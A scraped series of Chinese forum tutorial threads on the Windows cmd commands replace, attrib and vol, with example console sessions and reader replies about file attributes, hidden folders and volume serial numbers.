捐助
0
注册时间
2010-10-23
1楼 跳转到 ? 倒序看帖
打印
t T
发表于 2011-8-24 22:48 | 只看该作者

[原创] 【续】[一日一教学]（14）文件替换：replace

本帖最后由 Hello123World 于 2011-8-25 16:23 编辑

【原】[一日一教学]批处理系列帖子索引 http://bbs.bathome.net/thread-2576-1-1.html
【续】[一日一教学]批处理系列帖子索引 http://bbs.bathome.net/thread-13798-1-1.html

帮助信息：
  1. 替换文件。

  2.

  3. REPLACE [drive1:][path1]filename [drive2:][path2] [/A] [/P] [/R] [/W]

  4. REPLACE [drive1:][path1]filename [drive2:][path2] [/P] [/R] [/S] [/W] [/U]

  5.

  6.   [drive1:][path1]filename 指定源文件。

  7.   [drive2:][path2]         指定要替换文件的目录。

  8.   /A                       把新文件加入目标目录。不能和/S 或 /U 命令行开关搭配使

  9. 用。

  10.   /P                       替换文件或加入源文件之前会先提示您进行确认。

  11.   /R                       替换只读文件以及未受保护的文件。

  12.   /S                       替换目标目录中所有子目录的文件。不能与 /A 命令开关搭

  13. 配使用。

  14.   /W                       等您插入磁盘以后再运行。

  15.   /U                       只会替换或更新比源文件日期早的文件。不能与 /A 命令行

  16. 开关搭配使用。
复制代码
命令概括：
replace，全英文replace，意为：替换；下辖6个参数。
  1. REPLACE [drive1:][path1]filename [drive2:][path2]
复制代码
replace的使用条件：
::参照语法，使用光杆replace条件有两个
1.替换和被替换的文件要同名（根据：目标只有文件路径，没有文件名）
2.两文件必须在不同的路径（根据：同名文件不能在同一个文件夹）
经测试确实如此。

参数详解：
  1. /A                       把新文件加入目标目录。不能和/S 或 /U 命令行开关搭配使用。
复制代码
/a，英文全称add，意为：添加。
/a参数不能和/s、/u在一起使用。
/a参数与其说是“把新文件加入目标目录”，不如说是“复制新文件到目标目录”，所以raplace /a 可以当 copy /y 用，不过语法上要注意一下差别。
例子：将1.txt复制到c盘根目录：
  1. C:\Users\HELLOW~1\Desktop>replace /a 1.txt c:\
复制代码
  1.  /P                       替换文件或加入源文件之前会先提示您进行确认。
复制代码
/p，英文全称prompt，意为：提示。
顾名思义，就是提示，效果：
  1. C:\Users\HELLOW~1\Desktop>replace /p 1.txt c:\

  2. 是否替换 C:\1.txt? (Y/N)
复制代码
  1. /R                       替换只读文件以及未受保护的文件。
复制代码
/r，英文全称read，意为：阅读；在此可引申为只读文件。
竟然有这个参数，可以预见，replace默认是不能替换只读文件的，经测试确实如此。
  1. C:\Users\HELLOW~1\Desktop>attrib +r c:\1.txt

  2.

  3. C:\Users\HELLOW~1\Desktop>replace  1.txt c:\

  4. 拒绝访问 - C:\1.txt

  5. 未替换文件

  6.

  7. C:\Users\HELLOW~1\Desktop>replace /r 1.txt c:\

  8. 正在替换 C:\1.txt
复制代码
  1.   /S                       替换目标目录中所有子目录的文件。不能与 /A 命令开关搭

  2. 配使用。
复制代码
/s，英文全称subdirectory，意为：子目录。
/s可以替换指定目录下所有子目录的文件，
例如：有两个txt文件，他们的完全路径分别是 c:\1.txt c:\hello\1.txt，用/s参数一次把他们全部替换。
  1. C:\Users\HELLOW~1\Desktop>replace /s /r 1.txt c:\

  2. 正在替换 C:\1.txt

  3. 正在替换 C:\hello\1.txt
复制代码
  1.  /W                       等您插入磁盘以后再运行。
复制代码
/w，英文全称wait，意为：等待。
这命令就不解释了，磁盘应该指的是软盘；由此命令不难看出“吻到死”对cmd.exe只有一种“萧规曹随”的“敝帚自珍”之情，没有“与时俱进”的“I love you,I need you,I want you”的强烈爱情，是的，windows不爱cmd，他只是珍惜她而已……
  1.   /U                       只会替换或更新比源文件日期早的文件。不能与 /A 命令行

  2. 开关搭配使用。
复制代码
/u，英文全称update，意为：更新。
这个参数很神奇，replace中数这个参数最得我心。
例如：先创建两个文本，c盘的先创建，d盘的后创建
  1. C:\Users\HELLOW~1\Desktop>echo I'm first!>c:\1.txt

  2.

  3. C:\Users\HELLOW~1\Desktop>echo I'm Second!>d:\1.txt
复制代码
然后加/u参数替换c:\1.txt到d盘
  1. C:\Users\HELLOW~1\Desktop>d:\1.txt

  2.

  3. C:\Users\HELLOW~1\Desktop>replace /u c:\1.txt d:\

  4.

  5. C:\Users\HELLOW~1\Desktop>type d:\1.txt

  6. I'm Second!
复制代码
可以看出d盘的1.txt并没有被替换，这是为什么？因为d:\1.txt后于c:\1.txt的创建，换句话说：d:\1.txt比c:\1.txt新。

竟然如此，那么反过来自然就成立了：
  1. C:\Users\HELLOW~1\Desktop>replace /u d:\1.txt c:\

  2. 正在替换 C:\1.txt

  3.

  4. C:\Users\HELLOW~1\Desktop>type c:\1.txt

  5. I'm Second!
复制代码
收藏 分享
如果用到sed命令，须下载sed.exe到c:\windows\system32文件夹中。
回复 引用

评分 报告

返回列表
高级模式 | 发新话题
B Color Image Link Quote Code Smilies

批处理专区: BAT CMD DOS
  • BAT求助&讨论
  • BAT教程&资料
  • BAT原创&转载
  • BAT新大陆
  • BAT转载代码
  • 新手练功
  • 出题挑战
  • 有偿求助
  • 第三方命令行
  • 开源原创工具
  • iBAT
其他脚本区
  • PowerShell求助&讨论
  • PowerShell教程&资料
  • PowerShell原创&转载
  • VBS求助&讨论
  • JS / JScript / JavaScript
  • VBS教程&资料
  • VBS原创&转载
  • UNIX/Linux Shell
  • Python
  • Perl
网络资源区
  • 电脑技术研讨
  • 精品软件交流
  • 文字消遣
论坛事务区
  • 站务交流
  • 意见反馈
  • 论坛公告
  • 版主申请
  • 交换链接
  • 建站杂谈
  • 活动专区
  • 论坛总版规
[收藏此主题] [关注此主题的新回复]
[通过 QQ、MSN 分享给朋友]

[通过站内短消息分享给朋友]

批处理之家 ( 渝ICP备10000708号)| 联系我们 | Archiver | 站长统计

GMT+8, 2018-6-3 21:06, Processed in 0.034037 second(s), 7 queries, Gzip enabled.


15、设置文件属性：attrib

:) | :victory: | :time: | :kiss: | :handshake | :call: | :loveliness: | :funk:
:curse: | :dizzy: | :shutup: | :hug: | :lol | :( | :D | :'(
 | :o | :P | :$ | ;P | :L | :Q | :sleepy:

繁體中文 geekcat | 提醒 短消息 论坛任务 | 个人中心 退出
  • 论坛
  • 搜索
  • 帮助
  • 导航
  • 私人消息 (0)
  • 公共消息 (0)
  • 论坛任务 (0)
  • 系统消息 (0)
  • 好友消息 (0)
  • 帖子消息 (0)
批处理之家 ? BAT教程&资料 ? 【续】[一日一教学]（15）设置文件属性：attrib
[视频教程]批处理基础视频教程 [视频教程]VBS基础视频教程 批处理在线视频分享
返回列表 回复 发帖
Hello123World
  • 发短消息
  • 加为好友

Hello123World 当前离线

UID
30829
帖子
981
精华
0
积分
1503
PB
1280
技术
71
捐助
0
阅读权限
254
在线时间
427 小时
注册时间
2010-10-23
最后登录
2017-3-4

荣誉版主

帖子
981
积分
1503
技术
71
捐助
0
注册时间
2010-10-23
1楼 跳转到 ? 倒序看帖
打印
t T
发表于 2011-8-27 14:46 | 只看该作者

[原创] 【续】[一日一教学]（15）设置文件属性：attrib

本帖最后由 Hello123World 于 2011-11-7 15:46 编辑

【原】[一日一教学]批处理系列帖子索引 http://bbs.bathome.net/thread-2576-1-1.html
【续】[一日一教学]批处理系列帖子索引 http://bbs.bathome.net/thread-13798-1-1.html

帮助信息：
  1. 显示或更改文件属性。

  2.

  3. ATTRIB [+R | -R] [+A | -A ] [+S | -S] [+H | -H] [+I | -I]

  4.        [drive:][path][filename] [/S [/D] [/L]]

  5.   + 设置属性。

  6.   - 清除属性。

  7.   R 只读文件属性。

  8.   A 存档文件属性。

  9.   S 系统文件属性。

  10.   H 隐藏文件属性。

  11.   I 无内容索引文件属性。

  12.   [drive:][path][filename]

  13.       指定 attrib 要处理的文件。

  14.   /S 处理当前文件夹及其所有子文件夹中的匹配文件。

  15.   /D 也处理文件夹。

  16.   /L 处理符号链接和符号链接目标的属性。
复制代码
如果是使用xp的同学，可能会发现，这个帮助信息比你的帮助信息多出了一个“参数/l”还有一个“I 无内容索引文件属性”。
“符号链接”和“索引文件”都是后xp时代引进的新概念（据说vista采用了这些技术，win7中是实打实的见识到了），如果要介绍/l 和 i 又不得不说明“符号链接”和“索引文件”，但这两个概念我自身都没明白透彻，所以决定暂时不讲，待日后学透彻了，再来补充本教程。

命令概括：
attrib，全英文attribute，意为：属性；下辖2个参数（不包括/l），可设置4种属性（不包括“属性 i”）。

参数详解：

首先输入光杆attrib。
例如：
  1. C:\Users\helloworld\Desktop>attrib

  2. A            C:\Users\helloworld\Desktop\02.txt

  3. A       I    C:\Users\helloworld\Desktop\1.txt

  4. A            C:\Users\helloworld\Desktop\3.txt

  5. A            C:\Users\helloworld\Desktop\48个音标视屏提取器.bat

  6. A            C:\Users\helloworld\Desktop\a.txt

  7. A            C:\Users\helloworld\Desktop\aboboo.lnk

  8. A            C:\Users\helloworld\Desktop\BaiduHelpBook.chm

  9. A            C:\Users\helloworld\Desktop\Batch external command.txt - 快捷方

  10. nk

  11. A            C:\Users\helloworld\Desktop\clip.txt

  12. A            C:\Users\helloworld\Desktop\clip1.bat

  13.    SH        C:\Users\helloworld\Desktop\desktop.ini

  14. A            C:\Users\helloworld\Desktop\Google 翻译.url

  15. A            C:\Users\helloworld\Desktop\hello.bat

  16. A            C:\Users\helloworld\Desktop\HprSnap6.exe.lnk

  17. A            C:\Users\helloworld\Desktop\Internet Explorer.lnk

  18. A            C:\Users\helloworld\Desktop\MyRarHelp.txt

  19. A            C:\Users\helloworld\Desktop\new  2.bat

  20. A            C:\Users\helloworld\Desktop\QQ影音.lnk

  21. A            C:\Users\helloworld\Desktop\Script56.CHM - 快捷方式.lnk

  22. A            C:\Users\helloworld\Desktop\test.bat

  23. A            C:\Users\helloworld\Desktop\test.txt

  24. A            C:\Users\helloworld\Desktop\test.vbs

  25. A            C:\Users\helloworld\Desktop\VB6企业版.EXE.lnk

  26. A            C:\Users\helloworld\Desktop\Windows Live Writer.lnk

  27. A            C:\Users\helloworld\Desktop\两大搜索引擎集合器.bat

  28.      R       C:\Users\helloworld\Desktop\傲游浏览器2.lnk
复制代码
可以看出，显示了桌面上所有的文件属性，同时也列出了所有文件的完全路径（思考：由后面这一点，同学们可以想到什么呢？）
  1. /S 处理当前文件夹及其所有子文件夹中的匹配文件。
复制代码
/s，全英文subdirectory，意为：子目录。（可以看出，其实很多参数都是相通的，dir 中的 /s，rd中的 /s皆是“子目录”的意思）
既然有/s参数，那么attrib自然默认也是不会显示“子文件夹中文件的属性”。
我的桌面上其实还有4个文件夹，其中有个“520”文件夹，看看加上/s后能否把里面的内容显示出来。

例如：
  1. C:\Users\helloworld\Desktop>attrib /s

  2. A            C:\Users\helloworld\Desktop\520\12\world_hello.txt

  3. A            C:\Users\helloworld\Desktop\520\1.bat

  4. A       I    C:\Users\helloworld\Desktop\520\1.doc

  5. A            C:\Users\helloworld\Desktop\520\115优蛋.lnk

  6. A            C:\Users\helloworld\Desktop\520\360安全桌面.lnk

  7. A            C:\Users\helloworld\Desktop\520\code.exe - 快捷方式.lnk

  8. A            C:\Users\helloworld\Desktop\520\ComicAiII.exe - 快捷方式.lnk

  9. A            C:\Users\helloworld\Desktop\520\DeskSpace.lnk

  10. A            C:\Users\helloworld\Desktop\520\ezproxy.exe - 快捷方式.lnk

  11. A            C:\Users\helloworld\Desktop\520\FinalData 2.0 OEM.lnk

  12. A            C:\Users\helloworld\Desktop\520\Format Factory.lnk

  13. A            C:\Users\helloworld\Desktop\520\KKJDock.exe.lnk

  14. A            C:\Users\helloworld\Desktop\520\mhdesk.exe.lnk

  15. A            C:\Users\helloworld\Desktop\520\PPTV在线影视.lnk

  16. A            C:\Users\helloworld\Desktop\520\PP游戏世界.lnk

  17. A            C:\Users\helloworld\Desktop\520\QQ影音.lnk

  18. A            C:\Users\helloworld\Desktop\520\WPS文字.lnk

  19. A            C:\Users\helloworld\Desktop\520\WPS演示.lnk
复制代码
显示出来了，而且最先显示的就是520文件夹中的文件属性。
  1. /D 也处理文件夹。
复制代码
/d，全英文directory，意为：目录（dos时代的旧称，windows称文件夹）。
还是逆向的思考，既然有这个参数，那么attrib自然默认也是不显示文件夹的。
加上/d参数会怎么样呢？
例如：
  1. C:\Users\helloworld\Desktop>attrib /s /d

  2. A            C:\Users\helloworld\Desktop\520\12\world_hello.txt

  3. A            C:\Users\helloworld\Desktop\520\1.bat

  4. A       I    C:\Users\helloworld\Desktop\520\1.doc

  5. A            C:\Users\helloworld\Desktop\520\115优蛋.lnk

  6.              C:\Users\helloworld\Desktop\520\12

  7. A            C:\Users\helloworld\Desktop\520\360安全桌面.lnk

  8. A            C:\Users\helloworld\Desktop\520\code.exe - 快捷方式.lnk

  9. A            C:\Users\helloworld\Desktop\520\ComicAiII.exe - 快捷方式.lnk

  10. A            C:\Users\helloworld\Desktop\520\DeskSpace.lnk

  11. A            C:\Users\helloworld\Desktop\520\ezproxy.exe - 快捷方式.lnk

  12. A            C:\Users\helloworld\Desktop\520\FinalData 2.0 OEM.lnk

  13. A            C:\Users\helloworld\Desktop\520\Format Factory.lnk

  14. A            C:\Users\helloworld\Desktop\520\KKJDock.exe.lnk

  15. A            C:\Users\helloworld\Desktop\520\mhdesk.exe.lnk

  16. A            C:\Users\helloworld\Desktop\520\PPTV在线影视.lnk

  17. A            C:\Users\helloworld\Desktop\520\PP游戏世界.lnk

  18. A            C:\Users\helloworld\Desktop\520\QQ影音.lnk

  19. A            C:\Users\helloworld\Desktop\520\WPS文字.lnk

  20. A            C:\Users\helloworld\Desktop\520\WPS演示.lnk

  21. A            C:\Users\helloworld\Desktop\520\WPS表格.lnk

  22. A            C:\Users\helloworld\Desktop\520\YodaoDict.exe.lnk
复制代码
看出差别来了吗？
  1.              C:\Users\helloworld\Desktop\520\12
复制代码
这是“520文件夹”下的“12文件夹”，没加/d时可是没有显示的。

以上都是显示，但是如何设置文件的属性呢？
请听我慢慢道来：
但凡文件，皆有属性。只读、存档、系统、隐藏，在attrib中就为r、a、s、h，其英文全称read、archives、system、hide。
+为加，-为减。加，便赋予属性，减，便删除属性。

以上说了那么多，其实真正常用的属性只有 h，和 h结合s。

给文件夹520添加隐藏属性。
例如：
  1. C:\Users\helloworld\Desktop>attrib +h 520
复制代码
效果：
下载 (1.87 KB)
2011-8-27 14:29

刷性之后，520就消失了。

这时候就删除其隐藏属性。
例如：
  1. C:\Users\helloworld\Desktop>attrib -h 520
复制代码
效果：
下载 (2.03 KB)
2011-8-27 14:33

系统属性配合隐藏属性使用，可以加强隐藏的效果。
例如：
  1. C:\Users\helloworld\Desktop>attrib +s +h 520

  2.

  3. C:\Users\helloworld\Desktop>attrib  -h 520

  4. 未重置系统文件 - C:\Users\helloworld\Desktop\520
复制代码
怎么解除这种加强隐藏的效果呢？
例如：
  1. C:\Users\helloworld\Desktop>attrib -s -h 520
复制代码
扩展阅读：

1.其实，我一开始也不知道attrib可以光杆使用，但是我一看到attrib的语法，我就知道了。
这里就教教大家看命令语法的小知识：
  1. ATTRIB [+R | -R] [+A | -A ] [+S | -S] [+H | -H] [+I | -I]

  2.        [drive:][path][filename] [/S [/D] [/L]]
复制代码
除了attrib没有框在中括号中，其它的所有参数都在中括号中，这点信息就告诉了我，attrib可以光杆使用。
[]中的信息都是可选的参数，（可选参数：就是可以有，也可以没有）。
[|]这样的符号代码，虽然是可选参数，但只能二选其一，当然也可以是多选其一，且只能选一个。
  1. C:\Users\helloworld\Desktop>attrib +h -h 520

  2. 参数格式不正确 -
复制代码
2.具有系统属性（+s）的文件、文件夹，不能随意改变其他属性（-a 或-h），需要改变其系统属性才能改变其他属性（-a -s或-h -s）。感谢yyykkkyyyy。
收藏 分享
如果用到sed命令，须下载sed.exe到c:\windows\system32文件夹中。
回复 引用

评分 报告

CUer
  • 发短消息
  • 加为好友

CUer 当前离线

UID
24385
帖子
522
精华
0
积分
1037
PB
854
技术
61
捐助
0
阅读权限
50
在线时间
238 小时
注册时间
2010-4-30
最后登录
2011-10-20

上尉

帖子
522
积分
1037
技术
61
捐助
0
注册时间
2010-4-30
2楼
发表于 2011-8-27 15:47 | 只看该作者
“符号链接”和“索引文件”都是win7中引进的新概念

Vista也有。
如果一个知识点自己不能确定，最好别下这种结论性的定义，尤其是在写教学帖的时候，以免误导他人。
1

评分人数

    • Hello123World: 我仔细想了一下，措辞确实要严谨一点。PB + 3
回复 引用

评分 报告 TOP

Hello123World
  • 发短消息
  • 加为好友

Hello123World 当前离线

UID
30829
帖子
981
精华
0
积分
1503
PB
1280
技术
71
捐助
0
阅读权限
254
在线时间
427 小时
注册时间
2010-10-23
最后登录
2017-3-4

荣誉版主

帖子
981
积分
1503
技术
71
捐助
0
注册时间
2010-10-23
3楼
发表于 2011-8-27 15:49 | 只看该作者
回复 2# CUer

2003有没有呢？
如果用到sed命令，须下载sed.exe到c:\windows\system32文件夹中。
回复 引用

评分 报告 TOP

zaixinxiangnian
  • 发短消息
  • 加为好友

zaixinxiangnian 当前离线

UID
22805
帖子
144
精华
0
积分
153
PB
144
技术
3
捐助
0
阅读权限
20
在线时间
72 小时
注册时间
2010-3-24
最后登录
2014-1-21

二级士官

帖子
144
积分
153
技术
3
捐助
0
注册时间
2010-3-24
4楼
发表于 2011-8-28 12:10 | 只看该作者
写的好，支持
除了学会了它的用法之外
而且学会两个单词 archives (档案 存档) attribute (属性)
回复 引用

评分 报告 TOP

surup
  • 发短消息
  • 加为好友

surup 当前离线

UID
38479
帖子
23
精华
0
积分
35
PB
35
技术
0
捐助
0
阅读权限
5
来自
江苏无锡
在线时间
21 小时
注册时间
2011-6-11
最后登录
2012-4-29

列兵

帖子
23
积分
35
技术
0
捐助
0
注册时间
2011-6-11
5楼
发表于 2011-11-5 14:25 | 只看该作者
  1. attrib +h d:\123 /s /d
复制代码
前者只有d:\123以及它同名的子目录设为了“隐藏”，而其它文件及子目录都没有设置“隐藏”。
  1. attrib +h d:\123\*.* /s /d
复制代码
后者则将d:\123下的所有文件及子目录设置了“隐藏”属性，但d:\123目录没有设置“隐藏”属性。

有没有设置隐藏属性 将d:\123下的所有文件及子目录设置了“隐藏”属性的同时也将自身设置隐藏属性？
1

评分人数

    • Hello123World: 没那么深入的研究，值得嘉奖。PB + 3
大学不迷茫，毕业即辉煌！
回复 引用

评分 报告 TOP

yyykkkyyyy
  • 发短消息
  • 加为好友

yyykkkyyyy 当前离线

UID
43087
帖子
80
精华
0
积分
179
PB
110
技术
23
捐助
0
阅读权限
20
在线时间
359 小时
注册时间
2011-11-1
最后登录
2016-1-16

二级士官

帖子
80
积分
179
技术
23
捐助
0
注册时间
2011-11-1
6楼
发表于 2011-11-5 22:16 | 只看该作者
我是来学习的, 同时也提点建议
对此命令是否再加上一个小注意事项
如一文件加上系统属性或隐藏属性之后,又想改变其某种属性,比如:
attrib +s +h +r config.sys
想只去掉其中的隐藏属性, 若仅仅用 attrib -h config.sys 是不行的,必须把已带的系统属性或隐藏属性也列上:
attrib +s -h config.sys
或干脆连系统属性无论原来有没有加, 都一起去掉
attrib -s -h config.sys
实际上在原来DOS系统中, 经常用时把这三种属性(s h r) 要加一起加, 要去一起去的
我提这个的意思是可能会有人仅用attrib -h 仍去不掉隐藏属性
回复 引用

评分 报告 TOP

xslxslxsl
  • 发短消息
  • 加为好友

xslxslxsl 当前离线

UID
36358
帖子
219
精华
0
积分
278
PB
263
技术
5
捐助
0
阅读权限
20
在线时间
95 小时
注册时间
2011-4-13
最后登录
2017-10-30

四级士官

帖子
219
积分
278
技术
5
捐助
0
注册时间
2011-4-13
7楼
发表于 2011-11-5 23:46 | 只看该作者
值得学习，谢谢分享
回复 引用

评分 报告 TOP

Hello123World
  • 发短消息
  • 加为好友

Hello123World 当前离线

UID
30829
帖子
981
精华
0
积分
1503
PB
1280
技术
71
捐助
0
阅读权限
254
在线时间
427 小时
注册时间
2010-10-23
最后登录
2017-3-4

荣誉版主

帖子
981
积分
1503
技术
71
捐助
0
注册时间
2010-10-23
8楼
发表于 2011-11-7 12:51 | 只看该作者
回复 6# yyykkkyyyy

系统属性配合隐藏属性使用，可以加强隐藏的效果——这里不是已经谈到了吗？
如果用到sed命令，须下载sed.exe到c:\windows\system32文件夹中。
回复 引用

评分 报告 TOP

yyykkkyyyy
  • 发短消息
  • 加为好友

yyykkkyyyy 当前离线

UID
43087
帖子
80
精华
0
积分
179
PB
110
技术
23
捐助
0
阅读权限
20
在线时间
359 小时
注册时间
2011-11-1
最后登录
2016-1-16

二级士官

帖子
80
积分
179
技术
23
捐助
0
注册时间
2011-11-1
9楼
发表于 2011-11-7 14:22 | 只看该作者
回复 8# Hello123World

哦，我只是说建议，个人理解加了系统属性并不单指加强隐藏，如果有系统性，单改只读属性同样也是不行,说得不对请指正
1

评分人数

    • Hello123World: 恩，你的说法更精准。PB + 6
回复 引用

评分 报告 TOP

raominping
  • 发短消息
  • 加为好友

raominping 当前离线

UID
67110
帖子
2
精华
0
积分
13
PB
13
技术
0
捐助
0
阅读权限
5
在线时间
1 小时
注册时间
2014-7-4
最后登录
2014-7-12

列兵

帖子
2
积分
13
技术
0
捐助
0
注册时间
2014-7-4
10楼
发表于 2014-7-8 11:03 | 只看该作者
本帖最后由 raominping 于 2014-7-8 11:05 编辑

赞赞赞赞赞赞赞赞赞赞赞赞赞赞赞赞赞赞赞赞赞赞赞赞赞赞赞。
回复 引用

评分 报告 TOP

Tufeiheike
  • 发短消息
  • 加为好友

Tufeiheike 当前离线

UID
68252
帖子
10
精华
0
积分
21
PB
21
技术
0
捐助
0
阅读权限
5
在线时间
8 小时
注册时间
2014-9-8
最后登录
2014-9-20

列兵

帖子
10
积分
21
技术
0
捐助
0
注册时间
2014-9-8
11楼
发表于 2014-9-9 19:21 | 只看该作者
赞 ！！　！　！
待我出山之时，定让土匪大名满世界
回复 引用

评分 报告 TOP

shelluserwlb
  • 发短消息
  • 加为好友

shelluserwlb 当前离线

UID
42319
帖子
84
精华
0
积分
109
PB
103
技术
2
捐助
0
阅读权限
20
在线时间
53 小时
注册时间
2011-10-5
最后登录
2017-1-9

一级士官

帖子
84
积分
109
技术
2
捐助
0
注册时间
2011-10-5
12楼
发表于 2014-11-2 14:57 | 只看该作者
本帖最后由 shelluserwlb 于 2014-11-2 15:00 编辑

如果一个文件/文件夹设置了系统属性和隐藏属性后，如果用attrib命令单单只清除此文件夹的隐藏属性是去不掉的，必须要先清除此文件的系统属性才行。
例（win7系统）：
attrib +s +h 1.txt
attrib -h 1.txt
系统提示： 未重置系统文件
attrib -s -h 1.txt
成功清除1.txt的隐藏属性。
回复 引用

评分 报告 TOP

返回列表
高级模式 | 发新话题
B Color Image Link Quote Code Smilies

批处理专区: BAT CMD DOS
  • BAT求助&讨论
  • BAT教程&资料
  • BAT原创&转载
  • BAT新大陆
  • BAT转载代码
  • 新手练功
  • 出题挑战
  • 有偿求助
  • 第三方命令行
  • 开源原创工具
  • iBAT
其他脚本区
  • PowerShell求助&讨论
  • PowerShell教程&资料
  • PowerShell原创&转载
  • VBS求助&讨论
  • JS / JScript / JavaScript
  • VBS教程&资料
  • VBS原创&转载
  • UNIX/Linux Shell
  • Python
  • Perl
网络资源区
  • 电脑技术研讨
  • 精品软件交流
  • 文字消遣
论坛事务区
  • 站务交流
  • 意见反馈
  • 论坛公告
  • 版主申请
  • 交换链接
  • 建站杂谈
  • 活动专区
  • 论坛总版规
[收藏此主题] [关注此主题的新回复]
[通过 QQ、MSN 分享给朋友]

[通过站内短消息分享给朋友]

批处理之家 ( 渝ICP备10000708号)| 联系我们 | Archiver | 站长统计

GMT+8, 2018-6-3 21:06, Processed in 0.055484 second(s), 9 queries, Gzip enabled.


16、显示磁盘卷标和序列号：vol

:) | :victory: | :time: | :kiss: | :handshake | :call: | :loveliness: | :funk:
:curse: | :dizzy: | :shutup: | :hug: | :lol | :( | :D | :'(
 | :o | :P | :$ | ;P | :L | :Q | :sleepy:

繁體中文 geekcat | 提醒 短消息 论坛任务 | 个人中心 退出
  • 论坛
  • 搜索
  • 帮助
  • 导航
  • 私人消息 (0)
  • 公共消息 (0)
  • 论坛任务 (0)
  • 系统消息 (0)
  • 好友消息 (0)
  • 帖子消息 (0)
批处理之家 ? BAT教程&资料 ? 【续】[一日一教学]（16）显示磁盘卷标和序列号：vol
[视频教程]批处理基础视频教程 [视频教程]VBS基础视频教程 批处理在线视频分享
返回列表 回复 发帖
Hello123World
  • 发短消息
  • 加为好友

Hello123World 当前离线

UID
30829
帖子
981
精华
0
积分
1503
PB
1280
技术
71
捐助
0
阅读权限
254
在线时间
427 小时
注册时间
2010-10-23
最后登录
2017-3-4

荣誉版主

帖子
981
积分
1503
技术
71
捐助
0
注册时间
2010-10-23
1楼 跳转到 ? 倒序看帖
打印
t T
发表于 2011-8-29 16:50 | 只看该作者

[原创] 【续】[一日一教学]（16）显示磁盘卷标和序列号：vol

本帖最后由 Hello123World 于 2011-9-1 12:28 编辑

【原】[一日一教学]批处理系列帖子索引 http://bbs.bathome.net/thread-2576-1-1.html
【续】[一日一教学]批处理系列帖子索引 http://bbs.bathome.net/thread-13798-1-1.html

帮助信息：
  1. 显示磁盘卷标和序列号(如果存在)。

  2.

  3. VOL [drive:]
复制代码
命令概括：
vol，全英文volume，意为：册，卷；
drive，全英文drive，意为：驱动器。
以下皆称“磁盘”为“卷”。
之所以称磁盘为卷，是因为磁盘和硬盘的概念很容易混淆，我觉得称卷可能表述明白，卷即是硬盘分区后的一个个独立的磁盘。

参数详解：
卷标就是卷得名字，这个可以自己修改，关于修改卷标会在label命令中详细讲到。
卷的序列号区别于硬盘序列号，关于卷的序列号，这里引一段百度知道中的解释：
磁盘序列号，简称磁盘ID，是对磁盘进行格式化时随机产生的磁盘标识信息，是一个卷序列号。同一机器两次格式化随机产生固定格式的序列号相同几率几乎为零，即如果重新分区，磁盘序列号将会随之改变。DOS的后期版本和WINDOWS、WINNT均采用了这种磁盘标识方式，因而磁盘序列号常被运用用于商业化软件进行加密使用。从WINDOWS9.X切换到MS-DOS方式，键入DIR命令后回车，屏幕出现当前卷标序列号信息，这个类似"0A48-1CD7"的序列号是一个16进制数。一些限期使用的软件，在使用期限到了之后，会要求使用者在线申请新的授权序列号（使用许可）。这种授权序列号相当一部分是采用了静态磁盘序列号结合时间产生的。安装完毕之后的软件，程序即使被非法拷贝到非初始安装环境中，也不能使用。

显示c、d、e、f盘的卷标和序列号。
例如：
  1. C:\Users\helloworld\Desktop>for %i in (c d e f) do @vol %i:

  2.  驱动器 C 中的卷是 System

  3.  卷的序列号是 441A-9B85

  4.  驱动器 D 中的卷是 Compression

  5.  卷的序列号是 4C28-65E5

  6.  驱动器 E 中的卷是 Study

  7.  卷的序列号是 9430-B6FA

  8.  驱动器 F 中的卷是 Software

  9.  卷的序列号是 6442-C7C4
复制代码
扩展阅读：
无
收藏 分享
如果用到sed命令，须下载sed.exe到c:\windows\system32文件夹中。
回复 引用

评分 报告

andy七少
  • 发短消息
  • 加为好友

andy七少 当前离线

UID
36895
帖子
34
精华
0
积分
40
PB
40
技术
0
捐助
0
阅读权限
5
在线时间
27 小时
注册时间
2011-4-26
最后登录
2017-3-29

列兵

帖子
34
积分
40
技术
0
捐助
0
注册时间
2011-4-26
2楼
发表于 2011-10-15 21:04 | 只看该作者
虽然简单，但还是有值得学习的地方的，顶一个~~~
智慧是创造财富的唯一保障！
回复 引用

评分 报告 TOP

Tufeiheike
  • 发短消息
  • 加为好友

Tufeiheike 当前离线

UID
68252
帖子
10
精华
0
积分
21
PB
21
技术
0
捐助
0
阅读权限
5
在线时间
8 小时
注册时间
2014-9-8
最后登录
2014-9-20

列兵

帖子
10
积分
21
技术
0
捐助
0
注册时间
2014-9-8
3楼
发表于 2014-9-9 19:35 | 只看该作者
赞 ！　　　！
待我出山之时，定让土匪大名满世界
回复 引用

评分 报告 TOP

zh_1452
  • 发短消息
  • 加为好友

zh_1452 当前离线

UID
65134
帖子
68
精华
0
积分
75
PB
75
技术
0
捐助
0
阅读权限
10
在线时间
36 小时
注册时间
2014-2-28
最后登录
2016-3-20

上等兵

帖子
68
积分
75
技术
0
捐助
0
注册时间
2014-2-28
4楼
发表于 2014-9-25 19:50 | 只看该作者
  1. @echo off

  2. set str=c d e f g h i j k l m n o p q r s t u v w x y z

  3. echo ==================

  4. echo 当前硬盘的分区有：

  5. echo ==================

  6. for %%i in (%str%) do if exist %%i: echo %%i:

  7. vol c:

  8. vol e:

  9. vol f:

  10. vol g:

  11. label c: /mp 123&vol c:

  12. label e: /mp 456&vol e:

  13. label f: /mp 789&vol f:

  14. label g: /mp *-+&vol g:

  15. echo ..................

  16. echo 卷改了不会改序列号

  17. echo ..................

  18. pause
复制代码
回复 引用

评分 报告 TOP

返回列表
高级模式 | 发新话题
B Color Image Link Quote Code Smilies

批处理专区: BAT CMD DOS
  • BAT求助&讨论
  • BAT教程&资料
  • BAT原创&转载
  • BAT新大陆
  • BAT转载代码
  • 新手练功
  • 出题挑战
  • 有偿求助
  • 第三方命令行
  • 开源原创工具
  • iBAT
其他脚本区
  • PowerShell求助&讨论
  • PowerShell教程&资料
  • PowerShell原创&转载
  • VBS求助&讨论
  • JS / JScript / JavaScript
  • VBS教程&资料
  • VBS原创&转载
  • UNIX/Linux Shell
  • Python
  • Perl
网络资源区
  • 电脑技术研讨
  • 精品软件交流
  • 文字消遣
论坛事务区
  • 站务交流
  • 意见反馈
  • 论坛公告
  • 版主申请
  • 交换链接
  • 建站杂谈
  • 活动专区
  • 论坛总版规
[收藏此主题] [关注此主题的新回复]
[通过 QQ、MSN 分享给朋友]

[通过站内短消息分享给朋友]

批处理之家 ( 渝ICP备10000708号)| 联系我们 | Archiver | 站长统计

GMT+8, 2018-6-3 21:07, Processed in 0.046583 second(s), 7 queries, Gzip enabled.


17、编辑磁盘卷标：label

